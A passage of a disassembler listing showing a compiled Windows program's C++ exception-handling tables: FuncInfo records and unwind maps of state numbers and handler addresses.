		dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
		dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h,	0Dh, 439125h, 0Eh
		dd 439133h, 0Fh, 439141h, 10h, 43914Fh,	11h, 43915Dh, 11h
		dd 439165h, 11h, 43916Dh, 11h, 439175h,	11h, 43917Dh, 11h
		dd 439185h, 11h, 43918Dh, 11h, 439195h,	11h, 43919Dh, 11h
		dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h,	11h, 4391BDh, 11h
		dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h,	11h, 4391DDh, 11h
		dd 4391E5h, 8 dup(0)
dword_43F948	dd 19930520h, 11h, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 439260h,	0
		dd offset loc_439268
		dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
		dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
		dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h,	0Dh, 439315h, 0Eh
		dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00	dd 19930520h, 38h, 43FA20h, 5 dup(0)		dd 0FFFFFFFFh, 439390h,	0
		dd offset loc_43939B
		dd 1, 4393A6h, 0
		dd offset loc_4393B1
		dd 0
		dd offset loc_4393BC
		dd 0
		dd offset loc_4393C7
		dd 0
		dd offset loc_4393D2
		dd 0
		dd offset loc_4393DD
		dd 0
		dd offset loc_4393E8
		dd 0
		dd offset loc_4393F3
		dd 9, 4393FEh, 0
		dd offset loc_439409
		dd 0
		dd offset loc_439414
		dd 0
		dd offset loc_43941F
		dd 0
		dd offset loc_43942A
		dd 0Eh,	439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
		dd 0Eh,	43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
		dd 0
		dd offset loc_439499
		dd 0
		dd offset loc_4394A4
		dd 0
		dd offset loc_4394B2
		dd 0
; ---------------------------------------------------------------------------
		rcl	byte ptr [ebx+eax*2+1A00h], 0
		retf
; ---------------------------------------------------------------------------
		db 94h,	43h, 0
		dd 1Bh,	4394D6h, 0
		dd offset loc_4394E1
		dd 1Dh,	4394ECh, 0
		dd offset loc_4394F7
		dd 1Fh,	439502h, 0
		dd offset loc_43950D
		dd 0
		dd offset loc_439518
		dd 0
		dd offset loc_439523
		dd 0
		dd offset loc_43952E
		dd 0
		dd offset loc_439539
		dd 25h,	439544h, 26h, 43954Fh, 0
		dd offset loc_43954F
		dd 28h,	439544h, 0
		dd offset loc_43955A
		dd 0
		dd offset loc_439565
		dd 2Bh,	439570h, 2Ch, 43957Bh, 0
		dd offset loc_43957B
		dd 2Eh,	439570h, 2Eh, 439586h, 0
		dd offset loc_439591
		dd 31h,	43959Ch, 0
		dd offset loc_4395A7
		dd 0
		dd offset loc_4395B2
		dd 34h,	4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10	dd 19930520h, 1, 43FC30h, 5 dup(0)		dd 0FFFFFFFFh, 439670h,	2 dup(0)
dword_43FC40	dd 19930520h, 1, 43FC60h, 5 dup(0)		dd 0FFFFFFFFh, 439690h,	2 dup(0)
dword_43FC70	dd 19930520h, 6, 43FC90h, 5 dup(0)		dd 0FFFFFFFFh, 4396B0h,	0
		dd offset loc_4396B8
		dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8	dd 19930520h, 6, 43FCE8h, 5 dup(0)		dd 0FFFFFFFFh, 439710h,	0
		dd offset loc_439718
		dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20	dd 19930520h, 0Ah, 43FD40h, 5 dup(0)		dd 0FFFFFFFFh, 439770h,	0FFFFFFFFh, 439778h, 0FFFFFFFFh
		dd 439780h, 0FFFFFFFFh,	439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
		dd 439798h, 0FFFFFFFFh,	4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
		dd 4397B0h, 0FFFFFFFFh,	4397B8h, 4 dup(0)
dword_43FDA0	dd 19930520h, 0Eh, 43FDC0h, 5 dup(0)		dd 0FFFFFFFFh, 4397E0h,	0
		dd offset loc_4397E8
		dd 0FFFFFFFFh, 4397F3h,	0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
		dd 439803h, 0FFFFFFFFh,	43980Bh, 5, 439816h, 0FFFFFFFFh
		dd 43981Eh, 0FFFFFFFFh,	439826h, 0FFFFFFFFh, 43982Eh, 9
		dd 439839h, 0FFFFFFFFh,	439841h, 0Bh, 439849h, 0Ch, 439851h
		dd 4 dup(0)
dword_43FE40	dd 19930520h, 2, 43FE60h, 5 dup(0)		dd 0FFFFFFFFh, 439898h,	0
		dd offset loc_439890
		dd 2 dup(0)
dword_43FE78	dd 19930520h, 2, 43FE98h, 5 dup(0)		dd 0FFFFFFFFh, 4398D0h,	0
		dd offset loc_4398D8
		align 10h
dword_43FEB0	dd 19930520h, 1, 43FED0h, 5 dup(0)		dd 0FFFFFFFFh, 4398F0h,	2 dup(0)
dword_43FEE0	dd 19930520h, 7, 43FF00h, 5 dup(0)		dd 0FFFFFFFFh, 439910h,	0
		dd offset loc_439918
		dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
		dd 2 dup(0)
dword_43FF40	dd 19930520h, 4, 43FF60h, 5 dup(0)		dd 0FFFFFFFFh, 439970h,	0
		dd offset loc_43997B
		dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88	dd 19930520h, 4, 43FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 4399C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 99h,	43h, 0
		dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0	dd 19930520h, 2, 43FFF0h, 5 dup(0)		dd 0FFFFFFFFh, 439A10h,	0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008	dd 19930520h, 1, 440028h, 5 dup(0)		dd 0FFFFFFFFh, 439A30h,	2 dup(0)
dword_440038	dd 19930520h, 1, 440058h, 5 dup(0)		dd 0FFFFFFFFh, 439A50h,	2 dup(0)
dword_440068	dd 19930520h, 2, 440088h, 5 dup(0)		dd 0FFFFFFFFh, 439A70h,	0
		dd offset loc_439A78
		align 10h
dword_4400A0	dd 19930520h, 3, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439A90h,	0
		dd offset loc_439A98
		dd 1, 439AA3h, 2 dup(0)
dword_4400E0	dd 19930520h, 3, 440100h, 5 dup(0)		dd 0FFFFFFFFh, 439AD0h,	0
		dd offset loc_439AD8
		dd 1, 439AE0h, 2 dup(0)
dword_440120	dd 19930520h, 1, 440140h, 5 dup(0)		dd 0FFFFFFFFh, 439B00h,	2 dup(0)
dword_440150	dd 19930520h, 4, 440170h, 5 dup(0)		dd 0FFFFFFFFh, 439B20h,	0
		dd offset loc_439B28
		dd 0
		dd offset loc_439B30
		dd 0
		dd offset loc_439B3B
		dd 2 dup(0)
dword_440198	dd 19930520h, 6, 4401B8h, 5 dup(0)		dd 0FFFFFFFFh, 439B60h,	0
		dd offset loc_439B68
		dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0	dd 19930520h, 3, 440210h, 5 dup(0)		dd 0FFFFFFFFh, 439BB0h,	0
		dd offset loc_439BBB
		dd 1, 439BC6h, 2 dup(0)
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439BF0h,	0
		dd offset loc_439BF8
		dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278	dd 19930520h, 5, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439C30h,	0
		dd offset loc_439C38
		dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8	dd 19930520h, 4, 4402E8h, 5 dup(0)		dd 0FFFFFFFFh, 439C80h,	0
		dd offset loc_439C88
		dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310	dd 19930520h, 3, 440330h, 5 dup(0)		dd 0FFFFFFFFh, 439CC0h,	0
		dd offset loc_439CC8
		dd 1, 439CD0h, 2 dup(0)
dword_440350	dd 19930520h, 1, 440370h, 5 dup(0)		dd 0FFFFFFFFh, 439CF0h,	2 dup(0)
dword_440380	dd 19930520h, 2, 4403A0h, 5 dup(0)		dd 0FFFFFFFFh, 439D10h,	0
		dd offset loc_439D18
		dd 2 dup(0)
dword_4403B8	dd 19930520h, 2, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	0
		dd offset loc_439D38
		align 10h
dword_4403F0	dd 19930520h, 3, 440410h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	0
		dd offset loc_439D5B
		dd 1, 439D66h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439D90h,	2 dup(0)
dword_440460	dd 19930520h, 1, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440490	dd 19930520h, 4, 4404B0h, 5 dup(0)		dd 0FFFFFFFFh, 439DD0h,	0
		dd offset loc_439DD8
		dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8	dd 19930520h, 7, 4404F8h, 5 dup(0)		dd 0FFFFFFFFh, 439E10h,	0FFFFFFFFh, 439E18h, 0FFFFFFFFh
		dd 439E20h, 2, 439E28h,	3, 439E30h, 4, 439E38h,	0FFFFFFFFh
		dd 439E40h, 2 dup(0)
dword_440538	dd 19930520h, 1Bh, 440558h, 5 dup(0)		dd 0FFFFFFFFh, 439E70h,	0
		dd offset loc_439E78
		dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
		dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
		dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh,	0Dh, 439F2Bh, 0Eh
		dd 439F39h, 0Fh, 439F47h, 10h, 439F55h,	11h, 439F63h, 12h
		dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh,	15h, 439F9Bh, 16h
		dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h,	19h, 439FD3h, 6	dup(0)
dword_440648	dd 19930520h, 1Bh, 440668h, 5 dup(0)		dd 0FFFFFFFFh, 43A050h,	0
		dd offset loc_43A058
		dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
		dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
		dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh,	0Dh, 43A10Bh, 0Eh
		dd 43A119h, 0Fh, 43A127h, 10h, 43A135h,	11h, 43A143h, 12h
		dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh,	15h, 43A17Bh, 16h
		dd 43A189h, 17h, 43A197h, 18h, 43A1A5h,	19h, 43A1B3h, 6	dup(0)
dword_440758	dd 19930520h, 1, 440778h, 5 dup(0)		dd 0FFFFFFFFh, 43A230h,	2 dup(0)
dword_440788	dd 19930520h, 3Dh, 4407A8h, 5 dup(0)		dd 0FFFFFFFFh, 43A250h,	0
		dd offset loc_43A25B
		dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
		dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
		dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h,	0Dh, 43A30Eh, 0Eh
		dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h,	11h, 43A346h, 12h
		dd 43A354h, 13h, 43A362h, 14h, 43A370h,	15h, 43A37Eh, 16h
		dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h,	19h, 43A3B6h, 1Ah
		dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h,	1Dh, 43A3EEh, 1Eh
		dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h,	21h, 43A426h, 22h
		dd 43A434h, 23h, 43A442h, 24h, 43A450h,	25h, 43A45Eh, 26h
		dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h,	29h, 43A496h, 2Ah
		dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h,	2Dh, 43A4CEh, 2Eh
		dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h,	31h, 43A506h, 32h
		dd 43A514h, 33h, 43A522h, 34h, 43A530h,	35h, 43A53Eh, 36h
		dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h,	39h, 43A576h, 3Ah
		dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8	dd 19930520h, 4, 4409E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A680h,	0
		dd offset loc_43A68B
		dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10	dd 19930520h, 6, 440A30h, 5 dup(0)		dd 0FFFFFFFFh, 43A6D0h,	0
		dd offset loc_43A6DB
		dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68	dd 19930520h, 4, 440A88h, 5 dup(0)		dd 0FFFFFFFFh, 43A740h,	0
		dd offset loc_43A74E
		dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0	dd 19930520h, 5, 440AD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A7A0h,	0
		dd offset loc_43A7AB
		dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00	dd 19930520h, 5, 440B20h, 5 dup(0)		dd 0FFFFFFFFh, 43A800h,	0
		dd offset loc_43A80B
		dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50	dd 19930520h, 1, 440B70h, 5 dup(0)		dd 0FFFFFFFFh, 43A860h,	2 dup(0)
dword_440B80	dd 19930520h, 1, 440BA0h, 5 dup(0)		dd 0FFFFFFFFh, 43A880h,	2 dup(0)
dword_440BB0	dd 19930520h, 1, 440BD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A8A0h,	2 dup(0)
dword_440BE0	dd 19930520h, 2, 440C00h, 5 dup(0)		dd 0FFFFFFFFh, 43A8C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 43h, 0
		dd 2 dup(0)
dword_440C18	dd 19930520h, 4, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A8F0h,	0
		dd offset loc_43A8FB
		dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60	dd 19930520h, 4, 440C80h, 5 dup(0)		dd 0FFFFFFFFh, 43A940h,	0
		dd offset loc_43A94B
		dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8	dd 19930520h, 6, 440CC8h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	0
		dd offset loc_43A99B
		dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00	dd 19930520h, 4, 440D20h, 5 dup(0)		dd 0FFFFFFFFh, 43AA00h,	0
		dd offset loc_43AA0E
		dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48	dd 19930520h, 5, 440D68h, 5 dup(0)		dd 0FFFFFFFFh, 43AA60h,	0
		dd offset loc_43AA6B
		dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98	dd 19930520h, 5, 440DB8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0AAh, 43h, 0
		dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8	dd 19930520h, 1, 440E08h, 5 dup(0)		dd 0FFFFFFFFh, 43AB20h,	2 dup(0)
dword_440E18	dd 19930520h, 1, 440E38h, 5 dup(0)		dd 0FFFFFFFFh, 43AB40h,	2 dup(0)
dword_440E48	dd 19930520h, 1, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB60h,	2 dup(0)
dword_440E78	dd 19930520h, 2, 440E98h, 5 dup(0)		dd 0FFFFFFFFh, 43AB80h,	0
		dd offset loc_43AB8B
		align 10h
dword_440EB0	dd 19930520h, 4, 440ED0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABB0h,	0
		dd offset loc_43ABBB
		dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8	dd 19930520h, 1, 440F18h, 5 dup(0)		dd 0FFFFFFFFh, 43AC00h,	2 dup(0)
dword_440F28	dd 19930520h, 2, 440F48h, 5 dup(0)		dd 0FFFFFFFFh, 43AC20h,	0
		dd offset loc_43AC2B
		align 10h
dword_440F60	dd 19930520h, 1, 440F80h, 5 dup(0)		dd 0FFFFFFFFh, 43AC50h,	2 dup(0)
dword_440F90	dd 19930520h, 1, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	2 dup(0)
dword_440FC0	dd 19930520h, 2, 440FE0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC90h,	0
		dd offset loc_43AC9B
		dd 2 dup(0)
dword_440FF8	dd 19930520h, 1, 441018h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	2 dup(0)
dword_441028	dd 19930520h, 3, 441048h, 5 dup(0)		dd 0FFFFFFFFh, 43ACE0h,	0
		dd offset loc_43ACF7
		dd 1, 43ACFFh, 2 dup(0)
dword_441068	dd 19930520h, 1, 441088h, 5 dup(0)		dd 0FFFFFFFFh, 43AD20h,	2 dup(0)
dword_441098	dd 19930520h, 4, 4410B8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD48h,	0
		dd offset sub_43AD40
		dd 0
		dd offset loc_43AD5F
		dd 2, 43AD67h, 2 dup(0)
dword_4410E0	dd 19930520h, 6, 441100h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
		dd 43ADA0h, 0FFFFFFFFh,	43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
		dd 43ADB8h, 2 dup(0)
dword_441138	dd 19930520h, 1Ah, 441158h, 5 dup(0)		dd 0FFFFFFFFh, 43ADE0h,	0
		dd offset loc_43ADEB
		dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
		dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
		dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
		dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
		dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240	dd 19930520h, 4, 441260h, 5 dup(0)		dd 0FFFFFFFFh, 43AF70h,	0
		dd offset loc_43AF78
		dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288	dd 19930520h, 4, 4412A8h, 5 dup(0)		dd 0FFFFFFFFh, 43AFB0h,	0
		dd offset loc_43AFB8
		dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0	dd 19930520h, 6, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	0
		dd offset loc_43AFF8
		dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328	dd 19930520h, 6, 441348h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B058
		dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380	dd 19930520h, 6, 4413A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
		dd 43B0C6h, 2, 43B0D1h,	3, 43B0DCh, 2, 43B0E7h,	2 dup(0)
dword_4413D8	dd 19930520h, 3, 4413F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2 dup(0)
dword_441418	dd 19930520h, 5, 441438h, 5 dup(0)		dd 0FFFFFFFFh, 43B140h,	0FFFFFFFFh, 43B148h, 0FFFFFFFFh
		dd 43B150h, 0FFFFFFFFh,	43B158h, 0FFFFFFFFh, 43B160h, 2	dup(0)
dword_441468	dd 19930520h, 0Ch, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B180h,	0
		dd offset loc_43B188
		dd 0FFFFFFFFh, 43B190h,	0FFFFFFFFh, 43B198h, 0FFFFFFFFh
		dd 43B1A0h, 0FFFFFFFFh,	43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
		dd 43B1B8h, 0FFFFFFFFh,	43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
		dd 43B1D0h, 0FFFFFFFFh,	43B1D8h, 4 dup(0)
dword_4414F8	dd 19930520h, 2, 441518h, 1, 441528h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441540h, 4	dup(0)
		dd offset loc_41EE2C
		dd 2 dup(0)
dword_441558	dd 19930520h, 0Ah, 441578h, 5 dup(0)		dd 0FFFFFFFFh, 43B220h,	0
		dd offset loc_43B22B
		dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
		dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8	dd 19930520h, 2, 4415F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B2C0h,	0
		dd offset loc_43B2C8
		align 10h
dword_441610	dd 19930520h, 3, 441630h, 5 dup(0)		dd 0FFFFFFFFh, 43B2E0h,	0FFFFFFFFh, 43B2EBh, 1,	43B2F6h
		dd 2 dup(0)
dword_441650	dd 19930520h, 1, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B320h,	2 dup(0)
dword_441680	dd 19930520h, 2, 4416A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B340h,	0
		dd offset loc_43B34B
		dd 2 dup(0)
dword_4416B8	dd 19930520h, 16h, 4416D8h, 5 dup(0)		dd 0FFFFFFFFh, 43B370h,	0
		dd offset loc_43B37B
		dd 0
		dd offset loc_43B383
		dd 0
		dd offset loc_43B38B
		dd 3, 43B393h, 4, 43B39Bh, 0
		dd offset loc_43B3A3
		dd 6, 43B3ABh, 7, 43B3B3h, 0
		dd offset loc_43B3BB
		dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
		dd offset loc_43B3D3
		dd 0Ch,	43B3DBh, 0Dh, 43B3E3h, 0
		dd offset loc_43B3EB
		dd 0Fh,	43B3F3h, 0
		dd offset loc_43B3FB
		dd 11h,	43B403h, 0
		dd offset loc_43B40B
		dd 13h,	43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0	dd 19930520h, 1, 4417C0h, 5 dup(0)		dd 0FFFFFFFFh, 43B460h,	2 dup(0)
dword_4417D0	dd 19930520h, 1, 4417F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B490h,	2 dup(0)
dword_441800	dd 19930520h, 5, 441820h, 5 dup(0)		dd 0FFFFFFFFh, 43B4C0h,	0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
		dd 43B4D0h, 0FFFFFFFFh,	43B4D8h, 0FFFFFFFFh, 43B4E0h, 2	dup(0)
dword_441850	dd 19930520h, 0Bh, 441870h, 5 dup(0)		dd 0FFFFFFFFh, 43B500h,	0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
		dd 43B521h, 0FFFFFFFFh,	43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
		dd 43B542h, 0FFFFFFFFh,	43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
		dd 43B563h, 0FFFFFFFFh,	43B56Eh, 0FFFFFFFFh, 43B516h, 4	dup(0)
dword_4418D8	dd 19930520h, 5, 4418F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B5B0h,	0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
		dd 43B5C0h, 0FFFFFFFFh,	43B5C8h, 0FFFFFFFFh, 43B5D0h, 2	dup(0)
dword_441928	dd 19930520h, 15h, 441948h, 5 dup(0)		dd 0FFFFFFFFh, 43B5F0h,	0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
		dd 43B603h, 0FFFFFFFFh,	43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
		dd 43B61Bh, 0FFFFFFFFh,	43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
		dd 43B636h, 0FFFFFFFFh,	43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
		dd 43B651h, 0FFFFFFFFh,	43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
		dd 43B669h, 0FFFFFFFFh,	43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
		dd 43B684h, 0FFFFFFFFh,	43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
		dd 43B69Ch, 6 dup(0)
dword_441A08	dd 19930520h, 1, 441A28h, 5 dup(0)		dd 0FFFFFFFFh, 43B6E0h,	2 dup(0)
dword_441A38	dd 19930520h, 5, 441A58h, 5 dup(0)		dd 0FFFFFFFFh, 43B700h,	0
		dd offset loc_43B708
		dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88	dd 19930520h, 5, 441AA8h, 5 dup(0)		dd 0FFFFFFFFh, 43B750h,	0
		dd offset loc_43B758
		dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8	dd 19930520h, 1, 441AF8h, 5 dup(0)		dd 0FFFFFFFFh, 43B7A0h,	2 dup(0)
dword_441B08	dd 19930520h, 1, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43B7C0h,	2 dup(0)
dword_441B38	dd 19930520h, 1, 441B58h, 5 dup(0)		dd 0FFFFFFFFh, 43B7E0h,	2 dup(0)
dword_441B68	dd 19930520h, 1, 441B88h, 5 dup(0)		dd 0FFFFFFFFh, 43B800h,	2 dup(0)
dword_441B98	dd 19930520h, 1, 441BB8h, 5 dup(0)		dd 0FFFFFFFFh, 43B820h,	2 dup(0)
dword_441BC8	dd 19930520h, 1, 441BE8h, 5 dup(0)		dd 0FFFFFFFFh, 43B840h,	2 dup(0)
dword_441BF8	dd 19930520h, 1, 441C18h, 5 dup(0)		dd 0FFFFFFFFh, 43B860h,	2 dup(0)
dword_441C28	dd 19930520h, 1, 441C48h, 5 dup(0)		dd 0FFFFFFFFh, 43B880h,	2 dup(0)
dword_441C58	dd 19930520h, 6, 441C78h, 5 dup(0)		dd 0FFFFFFFFh, 43B8A0h,	0
		dd offset loc_43B8A8
		dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43B900h,	0
		dd offset loc_43B908
		dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08	dd 19930520h, 3, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43B960h,	0
		dd offset loc_43B968
		dd 1, 43B976h, 2 dup(0)
dword_441D48	dd 19930520h, 16h, 441D68h, 5 dup(0)		dd 0FFFFFFFFh, 43B9A0h,	0
		dd offset loc_43B9AB
		dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
		dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
		dd 43BA19h, 2, 43BA24h,	0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
		dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh,	0Fh, 43BA66h, 0Fh
		dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h,	6 dup(0)
dword_441E30	dd 19930520h, 1, 441E50h, 5 dup(0)		dd 0FFFFFFFFh, 43BAE0h,	2 dup(0)
dword_441E60	dd 19930520h, 1, 441E80h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	2 dup(0)
dword_441E90	dd 19930520h, 1, 441EB0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB20h,	2 dup(0)
dword_441EC0	dd 19930520h, 1, 441EE0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB40h,	2 dup(0)
dword_441EF0	dd 19930520h, 1, 441F10h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441F20	dd 19930520h, 2, 441F40h, 1, 441F50h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441F68h, 4	dup(0)
		dd offset loc_42AF54
		align 10h
dword_441F80	dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441FC8h, 4	dup(0)
